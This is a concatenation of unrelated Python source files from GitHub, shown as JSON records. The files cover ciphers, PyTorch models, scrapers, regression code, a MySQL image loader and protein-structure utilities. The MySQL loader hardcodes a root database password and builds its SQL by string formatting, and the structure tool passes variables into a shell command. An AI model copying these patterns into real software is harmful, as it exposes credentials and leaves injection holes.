')\nwhile True:\n\tif type_of_proccessing == 'decrypt':\n\t\t#LIST OF FREQUENTLY APPEARING LETTERS\n\t\tFrequentlyUsedLetters = ['о','е','а','и','н','с','т','л','в','р','д','к','м','у','п','г','я','ь','б','з','ы','ч','й','ж','ш','х','ю','щ','ц','ф','э','ъ']\n\n\t\t#READ DATA\n\t\tkeys_sorted, letters_in_text = read_data('')\n\n\t\t#LETTERS EXCHANGE\n\t\tsubstitution_of_letters(letters_in_text, keys_sorted, FrequentlyUsedLetters, type_of_proccessing)\n\t\tprint('files were decrypted')\n\t\tbreak\n\n\telif type_of_proccessing == 'encrypt':\n\t\tkeys_sorted, letters_in_text = read_data('decrypt')\n\t\tkey = dict_to_list(keys_sorted)\n\t\tencrypt(key)\t#ENCRYPTING\n\t\tsubstitution_of_letters(letters_in_text, keys_sorted, key, type_of_proccessing)\n\t\tkeys_sorted = dict_to_list(keys_sorted)\n\t\tkeys_sorted.reverse()\n\t\tfile = open('key.txt','w')\n\t\tfor i in range(len(key)):\n\t\t\tfile.write(str(keys_sorted[i])+str(' = ')+str(key[i])+str('\\n'))\n\t\tfile.close()\n\t\tprint('files were encrypted')\n\t\tbreak\n\n\telif type_of_proccessing == 'read':\n\t\treal_letter, crypt_letter=[], []\n\t\twith open(str('key.txt'), 'r') as data:\n\t\t\tdata_new = data.readlines()\n\t\t\tfor i in range(len(data_new)):\n\t\t\t\telements = data_new[i].strip().split(' = ')\n\t\t\t\treal_letter.append(elements[0])\n\t\t\t\tcrypt_letter.append(elements[1])\n\t\tkeys_sorted, letters_in_text = read_data('encrypt')\n\t\tcrypt_letter.reverse()\n\t\tcrypt_letter = dict.fromkeys(crypt_letter, \"\")\n\t\tprint(crypt_letter, 'crypt_letter')\n\t\tprint(real_letter, 'real_letter')\n\t\tsubstitution_of_letters(letters_in_text, crypt_letter, real_letter, type_of_proccessing)\n\t\tbreak\n\n\telse:\n\t\tprint('write it again, there is a mistake!')\n\t\ttype_of_proccessing = input('type_of_proccessing (encrypt/decrypt): ')","repo_name":"FFKatahiraT/rus_words_decyptor","sub_path":"crypt21V2.py","file_name":"crypt21V2.py","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17868071442","text":"import socket\n\ndef http_get(target_host,target_port,save_file):\n \n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n client.connect((target_host,target_port)) \n \n request = \"GET / HTTP/1.1\\r\\nHost:%s\\r\\n\\r\\n\" % target_host\n client.send(request.encode()) \n \n response = str(client.recv(4096), \"utf-8\") \n\n with open (save_file, \"w\") as save:\n save.write(response)\n\nhttp_get(\"www.youtube.com\",80,\"response.txt\")\n \n ","repo_name":"MatthiasMarczyszyn/Systemy_Wbudowane","sub_path":"Lab6/Http_get.py","file_name":"Http_get.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"34623755861","text":"import torch\nfrom torch import nn\nfrom torch.nn.parameter import Parameter\n\nclass ScaleTanh(nn.Module):\n def __init__(self):\n super(ScaleTanh, self).__init__()\n self.scale = Parameter(torch.tensor([0.]))\n \n def forward(self, x):\n return torch.exp(self.scale) * torch.tanh(x)\n\n\nclass Net(nn.Module):\n def __init__(self, x_dim, size1=10, size2=10, encoder=None):\n super(Net, self).__init__()\n \n self.encoder = encoder\n self.linear_x = nn.Linear(x_dim, size1)\n self.linear_v = nn.Linear(x_dim, size1)\n self.linear_t = nn.Linear(2, size1)\n \n self.linear = nn.Linear(size1, size2)\n \n self.linear_Q = nn.Linear(size2, x_dim)\n self.linear_S = nn.Linear(size2, x_dim)\n self.linear_T = nn.Linear(size2, x_dim)\n \n self.relu = nn.ReLU()\n self.scaletanh_Q = ScaleTanh()\n self.scaletanh_S = ScaleTanh()\n \n \n def forward(self, input_):\n v, x, t, aux = input_\n out_enc = self.encoder(aux) if self.encoder is not None else 0\n out_lin_x = self.linear_x(x)\n out_lin_v = self.linear_v(v)\n out_lin_t = self.linear_t(t)\n \n out_sum = out_lin_x + out_lin_v + out_lin_t + out_enc\n \n out_relu1 = self.relu(out_sum)\n out_lin = self.linear(out_relu1)\n out_relu2 = self.relu(out_lin)\n \n out_Q = self.scaletanh_Q(self.linear_Q(out_relu2))\n out_S = self.scaletanh_S(self.linear_S(out_relu2))\n out_T = self.linear_T(out_relu2)\n \n return out_S, out_Q, out_T \n \nclass Encoder(nn.Module):\n def __init__(self, in_features, out_features, mid_features):\n super(Encoder, self).__init__()\n \n self.linear1 = nn.Linear(in_features, mid_features)\n self.linear2 = nn.Linear(mid_features, mid_features)\n self.linear3 = nn.Linear(mid_features, out_features)\n self.linear4 = nn.Linear(mid_features, out_features)\n \n self.softplus = nn.Softplus() \n self.seq = nn.Sequential(self.linear1,\n self.softplus,\n self.linear2, \n self.softplus)\n \n def forward(self, x):\n out_seq = self.seq(x)\n out_lin1 = self.linear3(out_seq)\n out_lin2 = self.linear4(out_seq)\n return out_lin1, out_lin2\n \nclass Decoder(nn.Module):\n def __init__(self, in_features, out_features, mid_features):\n super(Decoder, self).__init__()\n \n self.linear1 = nn.Linear(in_features, mid_features)\n self.linear2 = nn.Linear(mid_features, mid_features)\n self.linear3 = nn.Linear(mid_features, out_features)\n \n self.softplus = nn.Softplus() \n self.seq = nn.Sequential(self.linear1,\n self.softplus,\n self.linear2, \n self.softplus,\n self.linear3)\n \n def forward(self, x):\n return self.seq(x) \n \nclass VAE(nn.Module):\n def __init__(self, in_features, latent_dim, mid_features):\n super(VAE, self).__init__()\n self.encoder = Encoder(in_features, latent_dim, mid_features)\n self.decoder = Decoder(latent_dim, in_features, mid_features)\n \n def forward(self, x):\n mu, log_sigma = self.encoder(x)\n noise = torch.randn(mu.shape)\n latent_q = mu + noise.cuda(1) * torch.exp(log_sigma)\n self.z = latent_q\n logits = self.decoder(latent_q)\n return logits, mu, log_sigma\n \n def sample(self, z):\n return torch.sigmoid(self.decoder(z))\n","repo_name":"kristinarakova/Improving-MCMC-by-Proposal-Learning","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4328763352","text":"# -*- coding: UTF-8 -*- \n\nimport requests\nimport time,os,re,json,time\nimport MySQLdb\nimport base64\n\n# 文件存储路径 :稍后增加一个文件路径\nwork_path = '/Volumes/D/Projects/pyProj/myProj/mimg/result'\ntest_path = '/Volumes/D/Projects/pyProj/myProj/mimg/test'\n\n\n\n\nif __name__ == \"__main__\":\n # 将图片按照文件的地址存储到数据库中去\n\t# insert query :insert into testcase (casename,url,params,method,dates,auth) values ('demo','/user.local','demo','get','2019-10-10','dw')\n # insert_sql = \"insert into `clamepics` (`picname`,`pic`) values ('{0}','{1}');\".format()\n # test query\n # test = \"insert into `clamepics` (`picname`,`pic`) values ('{0}','{1}');\".format('demo','test1')\n\n conn = MySQLdb.connect('localhost','root','2020@xhj','clamedb',charset='utf8')\n cursor = conn.cursor()\n # 获取照片组\n imgs_list = os.listdir(work_path)\n for files in imgs_list:\n \tname = files.replace(' ','')\n \timgs = os.listdir('/Volumes/D/Projects/pyProj/myProj/mimg/result/{0}/'.format(files))\n \tfor img in imgs:\n \t\t# 大量的io操作了\n \t\twith open('/Volumes/D/Projects/pyProj/myProj/mimg/result/{0}/{1}'.format(files,img),'rb') as f:\n \t\t\tcontents = base64.b64encode(f.read()) # base64编码测试 \n \t\t\tcv2str = str(contents, encoding = \"utf-8\") # 很重要,mysql读取的时候会自动解码\n \t\t\ttry:\n \t\t\t\texe_sql = 'insert into `clamedb`.`clamepics` (`picname`,`pic`) values (\"{0}\",\"{1}\");'.format(name,cv2str)\n \t\t\t\tprint(\"\\n当前正在执行的sql是:{0};\".format(name))\n \t\t\t\tcursor.execute(exe_sql)\n \t\t\t\tconn.commit()\n \t\t\texcept Exception as e:\n \t\t\t\tprint(e)\n \t\t\t\tconn.rollback()\t\n\n \n conn.close()\n\n","repo_name":"alexanderDave/mycrawler","sub_path":"src/utils/savedb.py","file_name":"savedb.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"73599183588","text":"from datetime import date, timedelta, datetime\nfrom calendar import monthrange\n\nfrom typing import Dict, List\nimport pandas as pd\n\n\nclass DimDate(object):\n\n def __init__(self, start_date: date = date(2019, 1, 1), end_date: date = date(2019, 12, 31), date_int_format: str = r'%Y%m%d', date_str_format=r'%Y-%m-%d'):\n self.start_date = start_date\n self.end_date = end_date\n self.date_int_format = date_int_format\n self.date_str_format = date_str_format\n self.delta: timedelta = self.end_date - self.start_date\n\n def __str__(self):\n return f'DimDate instance showing {self.start_date} through {self.end_date}'\n\n def fns_date(self, date_id: int) -> str:\n \"\"\"Convert an integer formatted date to a standard US date format\"\"\"\n return datetime.strptime(str(date_id), self.date_int_format).strftime(self.date_str_format)\n\n def fns_date_id(self, dt: date):\n \"\"\"Convert a python date to an integer date_id\"\"\"\n return int(dt.strftime(self.date_int_format))\n\n def gen_dim_date(self) -> pd.DataFrame:\n \"\"\"Generate a potentail dim_date table in a data warehouse\"\"\"\n dim_date: List = []\n\n for i in range(self.delta.days + 1):\n current_date_dict: Dict = {}\n\n python_date: date = self.start_date + timedelta(days=i)\n current_date_dict[\"DATE_ID\"] = self.fns_date_id(python_date)\n current_date_dict[\"FULL_DATE\"] = self.fns_date(current_date_dict[\"DATE_ID\"])\n current_date_dict[\"DAY_VALUE\"] = python_date.day\n current_date_dict[\"WEEKDAY_NAME\"] = python_date.strftime(\"%A\")\n current_date_dict[\"IS_WEEKDAY\"] = 1 if python_date.weekday() <= 4 else 0\n current_date_dict[\"MONTH_VALUE\"] = python_date.month\n current_date_dict[\"MONTH_NAME\"] = python_date.strftime(\"%B\")\n current_date_dict[\"FIRST_DAY_OF_MONTH\"] = python_date.replace(day=1)\n monthrange(python_date.year, python_date.month)\n current_date_dict[\"LAST_DAY_OF_MONTH\"] = python_date.replace(\n day=monthrange(python_date.year, python_date.month)[1])\n current_date_dict[\"QUARTER_VALUE\"] = (python_date.month - 1) // 3 + 1\n qtr_val = current_date_dict[\"QUARTER_VALUE\"]\n current_date_dict[\"FIRST_DAY_OF_QUARTER\"] = python_date.replace(month=qtr_val * 3 - 2, day=1)\n last_quarter_month_start = date(python_date.year, qtr_val * 3, 1)\n current_date_dict[\"LAST_DAY_OF_QUARTER\"] = last_quarter_month_start.replace(\n day=monthrange(last_quarter_month_start.year, last_quarter_month_start.month)[1])\n current_date_dict[\"FIRST_DAY_OF_YEAR\"] = date(python_date.year, 1, 1)\n current_date_dict[\"LAST_DAY_OF_YEAR\"] = date(python_date.year, 12, 31)\n\n final_date_dict: Dict = {\n k: self.fns_date_id(v) if k.startswith((\"FIRST\", \"LAST\")) else v for k, v in current_date_dict.items()\n }\n dim_date.append(final_date_dict)\n\n return pd.DataFrame(dim_date)\n\n\nif __name__ == '__main__':\n dt: DimDate = DimDate()\n df = dt.gen_dim_date()\n print(df.head())\n print(df.tail())\n","repo_name":"NiereTheory/Helper_Functions","sub_path":"DWDateTime/dim_date/dim_date.py","file_name":"dim_date.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35831902004","text":"# Job 13 : Traitement d’un fichier 3.0\n\n# Créer un programme job13.py qui demande à l’utilisateur de renseigner un nombre\n# entier. Le programme devra alors parcourir le contenu du fichier “data.txt” compter le\n# nombre de mots de la taille renseignée qui s’y trouvent.\n\n\nimport re\n\nnombre = int(input(\"Entrez un nombre entier : \"))\nwith open('data.txt', 'r') as fichier:\n text = fichier.read()\n\ncount = len([word for word in re.findall(\n r'\\b\\w+\\b', text) if len(word) == nombre])\n\nprint('Le fichier contient', count, 'mots de taille', nombre, '.')\n","repo_name":"florian-miotto/python","sub_path":"job13/job13.py","file_name":"job13.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21079350211","text":"from curses.ascii import isdigit\nimport os\nfrom matplotlib.pyplot import text\nimport numpy as np\nfrom pandas import array\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\nencodeDictionary = {'a':0,'b':1,'c':2,'d':3,'e':4,\n 'f':5,'g':6,'h':7,'i':8,'j':9,\n 'k':10,'l':11,'m':12,'n':13,'o':14,\n 'p':15,'q':16,'r':17,'s':18,'t':19,\n 'u':20,'v':21,'w':22,'x':23,'y':24,\n 'z':25,'0':26,'1':27,'2':28,'3':29,\n '4':30,'5':31,'6':32,'7':33,'8':34,\n '9':35,' ':36,'.':37,',':38,'?':39,'!':40}\ndecodeDictionary = {0:'a',1:'b',2:'c',3:'d',4:'e',\n 5:'f',6:'g',7:'h',8:'i',9:'j',\n 10:'k',11:'l',12:'m',13:'n',14:'o',\n 15:'p',16:'q',17:'r',18:'s',19:'t',\n 20:'u',21:'v',22:'w',23:'x',24:'y',\n 25:'z', 26:'0',27:'1',28:'2',29:'3',\n 30:'4',31:'5',32:'6',33:'7',34:'8',\n 35:'9',36:' ',37:'.',38:',',39:'?',40:'!'}\n\ndef Extended_Euclidean_algorithm(a: int, b: int) -> int:\n if a <= 0 or b <= 0:\n return \"Error\"\n x2, x1 = 1, 0\n while b > 0:\n q = a // b\n r = a - q * b\n x = x2 - q * x1\n a = b\n b = r\n x2 = x1\n x1 = x\n x = x2\n if x < 0:\n x = x + b\n return x\n\ndef hillCipherEncode(openText: str, matrix1: np.array, matrix2: np.array, encodeDict: dict, decodeDict: dict, state: str):\n arrayOfLetters: np.array = []\n partOfArray: np.array = []\n cnt = 0\n for letter in openText:\n letter = letter.lower()\n if letter in encodeDict:\n partOfArray.append(encodeDict[letter])\n cnt += 1\n if cnt == 3:\n arrayOfLetters.append(partOfArray)\n partOfArray = []\n cnt = 0\n if len(partOfArray) < 3 and len(partOfArray) != 0:\n cnt = 0\n while len(partOfArray) != 3:\n cnt += 1\n partOfArray.append(0)\n arrayOfLetters.append(partOfArray)\n partOfArray = []\n matrix1, matrix2, arrayOfNumbers = encodeArray(arrayOfLetters, matrix1, matrix2, state)\n cipherText = ''\n for item in arrayOfNumbers:\n for number in item:\n if number in decodeDict:\n cipherText += decodeDict[number]\n if cnt != 0:\n while cnt != 0:\n cipherText = cipherText[:-1]\n cnt -= 1\n return matrix1, matrix2, cipherText\n\ndef encodeArray(array: np.array, matrix1: np.array, matrix2: np.array, state: str):\n for row in range(3):\n for number in range(3):\n matrix1[row][number] = round(matrix1[row][number], 2)\n matrix2[row][number] = round(matrix2[row][number], 2)\n newArray: np.array(np.array()) = []\n for item in array:\n if state == \"decode\":\n invertMatrix = np.linalg.inv(matrix1) * np.linalg.det(matrix1)\n invertDet = Extended_Euclidean_algorithm(round(np.linalg.det(matrix1)),len(decodeDictionary))\n if invertDet is int:\n invertMatrix *= invertDet\n invertMatrix %= len(decodeDictionary)\n newItem = np.array(item).dot(invertMatrix)\n else:\n newItem = np.array(item).dot(matrix1)\n newMatrix = matrix2.dot(matrix1)\n matrix1 = matrix2\n matrix2 = newMatrix\n matrix1 %= len(decodeDictionary)\n matrix2 %= len(decodeDictionary)\n for i in range(len(newItem)):\n newItem[i] = newItem[i] % 41\n newArray.append(newItem)\n if state == 'encode':\n return matrix1, matrix2, newArray\n else:\n return np.linalg.inv(matrix1), np.linalg.inv(matrix2), newArray\n\ndef hillCipherDecode(cipherText: str, matrix1: np.array, matrix2: np.array, encodeDict: dict, decodeDict: dict, state: str):\n arrayOfNumbers: np.array = []\n partOfArray: np.array = []\n cnt = 0\n for letter in cipherText:\n letter = letter.lower()\n if letter in encodeDict:\n cnt += 1\n partOfArray.append(encodeDict[letter])\n if len(partOfArray) == 3:\n arrayOfNumbers.append(partOfArray)\n partOfArray = []\n cnt = 0\n if len(partOfArray) < 3 and len(partOfArray) != 0:\n cnt = 0\n while len(partOfArray) != 3:\n partOfArray.append(0)\n cnt += 1\n arrayOfNumbers.append(partOfArray)\n partOfArray = []\n openText = ''\n matrix1, matrix2, arrayOfNumbers = encodeArray(arrayOfNumbers, matrix1, matrix2, state)\n for item in arrayOfNumbers:\n for number in item:\n if number in decodeDict:\n openText += decodeDict[number]\n if cnt != 0:\n while cnt != 0:\n cnt -= 1\n openText = openText[:-1]\n return matrix1, matrix2, openText\n\ndef readState(state: str, key1: np.array, key2: np.array):\n if np.linalg.det(key1) == 0 or np.linalg.det(key2) == 0:\n print(\"Invalid key\")\n return\n textMessage = []\n if state == \"encode\":\n with open(dir_path+'/read.txt', 'r') as text:\n textMessage = text.readlines()\n for line in textMessage:\n key1, key2, encodeLine = hillCipherEncode(line, key1, key2, encodeDictionary, decodeDictionary, state)\n encodeLine += '\\n'\n with open(dir_path+'/output.txt', 'a') as encodedText:\n encodedText.write(encodeLine)\n elif state == \"decode\":\n with open(dir_path+'/output.txt', 'r') as text:\n textMessage = text.readlines()\n for line in textMessage:\n key1, key2, decodeLine = hillCipherDecode(line, key1, key2, encodeDictionary, decodeDictionary, state)\n decodeLine += '\\n'\n with open(dir_path+'/outputDecode.txt', 'a') as decodedText:\n decodedText.write(decodeLine)\n\nif __name__ == \"__main__\":\n key1 = np.array([[2,23,8],[6,9,4],[5,-2,-3]], dtype = float)\n key2 = np.array([[1,0,0],[0,1,7],[0,0,1]], dtype = float)\n \n arrayNumbers = []\n text = \"helloW\"\n key3, key4, text = hillCipherEncode(text,key1,key2,encodeDictionary,decodeDictionary, \"encode\")\n for i in text:\n arrayNumbers.append(encodeDictionary[i.lower()])\n print(arrayNumbers)\n print(text)\n\n arrayNumbers = []\n text = \"WorldH\"\n key3, key4, text = hillCipherEncode(text,key1,key2,encodeDictionary,decodeDictionary, \"encode\")\n for i in text:\n arrayNumbers.append(encodeDictionary[i.lower()])\n print(arrayNumbers)\n print(text)\n\n arrayNumbers = []\n text = \"Cipher\"\n key3, key4, text = hillCipherEncode(text,key1,key2,encodeDictionary,decodeDictionary, \"encode\")\n for i in text:\n arrayNumbers.append(encodeDictionary[i.lower()])\n print(arrayNumbers)\n print(text)\n \n\n # key3, key4, text = hillCipherDecode(text,key1,key2,encodeDictionary,decodeDictionary)\n # print(key3, \"\\n\")\n # print(key4, \"\\n\")\n # print(text, \"\\n\")","repo_name":"matildaz/Cryptograqphy","sub_path":"Cryptography_2_Hill_Cipher/HillCipherRequrrent.py","file_name":"HillCipherRequrrent.py","file_ext":"py","file_size_in_byte":6994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7307209340","text":"import os\n\nfrom elasticsearch import Elasticsearch\nfrom image_match.elasticsearch_driver import SignatureES\n\n\ndef walk(rootdir):\n for parent, dirnames, filenames in os.walk(rootdir):\n # for dirname in dirnames:\n # yield dirname\n for filename in filenames:\n yield os.path.join(parent, filename)\n\n\ndef main():\n image_dir = '/home/key/图片/image_search_data'\n es = Elasticsearch(hosts=[\"127.0.0.1:9200\"])\n ses = SignatureES(es, index='images', doc_type='image')\n\n for file in walk(image_dir):\n ses.add_image(file)\n print('index image: {}'.format(file))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lossme/cookbook","sub_path":"code/image_search_example/index_many_image.py","file_name":"index_many_image.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"69827877987","text":"import requests\n\nfrom decimal import Decimal\nfrom urllib.parse import urlparse\nfrom bs4 import BeautifulSoup\n\ndef extract_values(url):\n page = requests.get(url)\n soup = BeautifulSoup(page.text, 'html.parser')\n source = soup.find('table', 'tbl-primary').find('tbody')\n trs = source.find_all('tr')\n values = []\n\n for tr in trs:\n tds = tr.find_all('td')\n tds.pop(0)\n\n for td in tds:\n values.append(Decimal(td.get_text().replace('\"', '').strip()))\n \n parsed_url = urlparse(url)\n return {\n 'host': parsed_url.netloc,\n 'values': values,\n 'highest': max(values)\n }","repo_name":"hiraq/testaimazzing","sub_path":"processors/bank2.py","file_name":"bank2.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72826176225","text":"import pytest\n\nfrom framelink._util import parse_model_src_for_internal_refs\n\n\n@pytest.mark.parametrize(\n \"in_str, model_names\",\n [\n (\".ref(%s)\", (\"my_model\",)),\n (\".ref('%s')\", (\"my_model\",)),\n ('.ref(\"%s\")', (\"my_model\",)),\n ('ref.ref(\"%s\")', (\"my_model\",)),\n ('.ref(\"%s\").ref(%s)', (\"my_model\", \"model_two\")),\n ('.ref(\"%s\").ref(%s)', (\"my_ref_model\", \"ref_model\")),\n ],\n)\ndef test_model_body_ref_parsing(in_str, model_names):\n in_str = in_str % model_names # format the string with the given model name\n res = parse_model_src_for_internal_refs(in_str)\n assert len(res) == len(model_names)\n assert all(model_name in res for model_name in model_names)\n","repo_name":"GitToby/framelink","sub_path":"tests/core/test_model_parsing.py","file_name":"test_model_parsing.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"30929226521","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 11 19:38:33 2017\n\n@author: yang\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\"\"\"\"\"\"\"\"\"\n\n回归\n\n\"\"\"\"\"\"\"\"\"\n'''\n导入数据\n'''\ndef loadDataSet(fileName):\n numFeat = len(open(fileName).readline().split('\\t')) - 1\n dataMat = []\n labelMat = []\n fr = open(fileName)\n for line in fr.readlines():\n lineArr = []\n curLine = line.strip().split('\\t')\n for i in range(numFeat):\n lineArr.append(float(curLine[i]))\n dataMat.append(lineArr)\n labelMat.append(float(curLine[-1]))\n return dataMat, labelMat\n\n\n'''\n普通最小二乘法求w\nw = [(xTX)-1]XTy\n'''\ndef standRegres(xArr, yArr):\n xMat = np.mat(xArr)\n yMat = np.mat(yArr).T\n xTx = xMat.T * xMat\n if np.linalg.det(xTx) == 0.0:\n print('这个矩阵是非奇异的,不能求逆')\n return\n ws = xTx.I * (xMat.T*yMat)\n return ws\n\n\n\n\n\n\"\"\"\"\"\"\"\"\"\n\n局部加权线性回归\n\n\"\"\"\"\"\"\"\"\"\n'''\n给定测试点和数据集,返回测试点的结果\npara:\n testPonit:测试点, \n xArr:数据集, \n yArr:标签, \n k:衰减权重 \n'''\ndef lwlr(testPonit, xArr, yArr, k=1.0):\n xMat = np.mat(xArr)\n yMat = np.mat(yArr).T\n m = np.shape(xMat)[0]\n weights = np.mat(np.eye((m)))\n for j in range(m):\n diffMat = testPonit - xMat[j, :]\n weights[j, j] = np.exp(diffMat * diffMat.T / (-2*k**2))\n xTx = xMat.T * (weights * xMat)\n if np.linalg.det(xTx) == 0.0:\n print('这个矩阵是非奇异的,不能求逆')\n return\n ws = xTx.I * (xMat.T * weights *yMat)\n return testPonit * ws\n\n\n'''\n给定测试数据集,返回预测结果\n'''\ndef lwlrTest(testArr, xArr, yArr, k=1.0):\n m = np.shape(testArr)[0]\n yHat = np.zeros(m)\n for i in range(m):\n yHat[i] = lwlr(testArr[i], xArr, yArr, k)\n return yHat\n\n\n'''\n误差\n'''\ndef rssError(yArr, yHatArr):\n return ((yArr - yHatArr)**2).sum()\n\n\n\n\n\n\"\"\"\"\"\"\"\"\"\n\n岭回归\n\n\"\"\"\"\"\"\"\"\"\n'''\n给定数据集、标签和lamda,得到回归系数ws\n'''\ndef ridgeRegres(xMat, yMat, lam = 0.2):\n xTx = xMat.T * xMat\n demon = xTx + np.eye(np.shape(xMat)[1]) * lam\n if np.linalg.det(demon) == 0.0:\n print('奇异矩阵,不能求逆')\n return\n ws = demon.I * (xMat.T * yMat)\n return ws\n\n\n'''\n求一系列lamda对应的ws\n'''\ndef ridgeTest(xArr, yArr):\n xMat = np.mat(xArr)\n yMat = np.mat(yArr).T\n yMean = np.mean(yMat, 0)\n yMat = yMat - yMean\n xMean = np.mean(xMat, 0)\n xVar = np.var(xMat, 0)\n xMat = (xMat-xMean)/xVar\n numTestPts = 30\n wMat = np.zeros((numTestPts, np.shape(xMat)[1]))\n for i in range(numTestPts):\n ws = ridgeRegres(xMat, yMat, np.exp(i-10))\n wMat[i, :] = ws.T\n return wMat\n\n\n\n\n\n\"\"\"\"\"\"\"\"\"\n\n前向逐步回归\n\n\"\"\"\"\"\"\"\"\"\ndef stageWise(xArr, yArr, eps=0.01, numIt=100):\n xMat = np.mat(xArr)\n yMat = np.mat(yArr).T\n yMean = np.mean(yMat, 0)\n yMat = yMat - yMean\n xMean = np.mean(xMat, 0)\n xVar = np.var(xMat, 0)\n xMat = (xMat - xMean)/xVar\n m, n = np.shape(xMat)\n returnMat = np.zeros((numIt, n))\n ws = np.zeros((n, 1))\n wsTest = ws.copy()\n wsMax = ws.copy()\n for i in range(numIt):\n #print(ws.T)\n lowestError = np.inf\n for j in range(n):\n for sign in [-1, 1]:\n wsTest = ws.copy()\n wsTest[j] += eps*sign\n yTest = xMat * wsTest\n rssE = rssError(yMat.A, yTest.A)\n if rssE -1) or (lwrTitle.find('nisb') > -1):\n newFlag = 1.0\n else:\n newFlag = 0.0\n # 查找是否已经标志出售,我们只收集已出售的数据\n soldUnicde = currentRow[0].find_all('td')[3].find_all('span')\n if len(soldUnicde) == 0:\n print(\"商品 #%d 没有出售\" % i)\n else:\n # 解析页面获取当前价格\n soldPrice = currentRow[0].find_all('td')[4]\n priceStr = soldPrice.text\n priceStr = priceStr.replace('$','')\n priceStr = priceStr.replace(',','')\n if len(soldPrice) > 1:\n priceStr = priceStr.replace('Free shipping', '')\n sellingPrice = float(priceStr)\n # 去掉不完整的套装价格\n if sellingPrice > origPrc * 0.5:\n print(\"%d\\t%d\\t%d\\t%f\\t%f\" % (yr, numPce, newFlag, origPrc, sellingPrice))\n retX.append([yr, numPce, newFlag, origPrc])\n retY.append(sellingPrice)\n i += 1\n currentRow = soup.find_all('table', r = \"%d\" % i)\n\n\n'''\n依次读取六种乐高套装的数据,并生成数据矩阵\n'''\ndef setDataCollect(retX, retY):\n scrapePage(retX, retY, './lego/lego8288.html', 2006, 800, 49.99) #2006年的乐高828\n scrapePage(retX, retY, './lego/lego10030.html', 2002, 3096, 269.99) #2002年的乐高\n scrapePage(retX, retY, './lego/lego10179.html', 2007, 5195, 499.99) #2007年的乐高\n scrapePage(retX, retY, './lego/lego10181.html', 2007, 3428, 199.99) #2007年的乐高\n scrapePage(retX, retY, './lego/lego10189.html', 2008, 5922, 299.99) #2008年的乐高\n scrapePage(retX, retY, './lego/lego10196.html', 2009, 3263, 249.99)\n\n\n'''\n交叉验证测试岭回归\n'''\ndef crossValidation(xArr, yArr, numVal=10):\n m = len(yArr)\n indexList = list(range(m))\n errorMat = np.zeros((numVal, 30))\n for i in range(numVal):\n trainX = []\n trainY = []\n testX = []\n testY = []\n np.random.shuffle(indexList)\n for j in range(m):\n if j4}' + line[26:]\n renumb_pdb_l.append(n_l)\n except KeyError:\n print(f'Residue {resnum} does not have a match'\n ', it will be skipped')\n pass\n\n\n outputf = prot.replace('.pdb', '-renum.pdb')\n out = open(outputf, 'w')\n out.write(''.join(renumb_pdb_l))\n out.close()\n print(prot)\n\n\ndef run_contacts(pdbf, cutoff):\n \"\"\"Run the contacts script.\"\"\"\n cmd = f'contact {pdbf} {cutoff}'\n out = subprocess.getoutput(cmd).split(os.linesep)\n return out\n\n\ndef identify_inteface(pdbf, cutoff):\n \"\"\"Identify the interfacing residues given a cutoff.\"\"\"\n contacts_l = run_contacts(pdbf, cutoff)\n\n interface_dic = {}\n for line in contacts_l:\n data = line.split()\n resnum_a = int(data[0])\n chain_a = data[1]\n # atom_a = data[2]\n resnum_b = int(data[3])\n chain_b = data[4]\n # atom_b = data[5]\n distance = float(data[6])\n\n # One way\n try:\n _ = interface_dic[chain_a]\n except KeyError:\n interface_dic[chain_a] = {}\n try:\n _ = interface_dic[chain_a][chain_b]\n except KeyError:\n interface_dic[chain_a][chain_b] = []\n\n if distance <= cutoff:\n if resnum_a not in interface_dic[chain_a][chain_b]:\n interface_dic[chain_a][chain_b].append(resnum_a)\n\n # other way\n try:\n _ = interface_dic[chain_b]\n except KeyError:\n interface_dic[chain_b] = {}\n try:\n _ = interface_dic[chain_b][chain_a]\n except KeyError:\n interface_dic[chain_b][chain_a] = []\n\n if float(distance) <= cutoff:\n if resnum_b not in interface_dic[chain_b][chain_a]:\n interface_dic[chain_b][chain_a].append(resnum_b)\n\n # sort residue lists\n ninterface_dic = {}\n for a in interface_dic:\n ninterface_dic[a] = {}\n for b in interface_dic[a]:\n reslist = interface_dic[a][b]\n reslist.sort()\n ninterface_dic[a][b] = reslist\n\n return ninterface_dic\n\n\ndef get_range(data):\n ranges = []\n for k, g in groupby(enumerate(data), lambda x: x[0] - x[1]):\n group = (map(itemgetter(1), g))\n group = list(map(int, group))\n ranges.append((group[0], group[-1]))\n return ranges\n\n\ndef retrieve_izone(c_dic, numbering_dic):\n # based on the reference interface, create izone\n izone_l = []\n for chain in c_dic:\n ref_dic = {}\n for bound_res in list(c_dic[chain].items())[0][1]:\n try:\n ub = numbering_dic[chain][bound_res]\n ref_dic[bound_res] = ub\n except KeyError:\n pass\n\n for bound_range in get_range(ref_dic.keys()):\n unbound_res_l = []\n for bound_res in range(bound_range[0], bound_range[1] + 1):\n unbound_res_l.append(ref_dic[bound_res])\n\n for unbound_range in 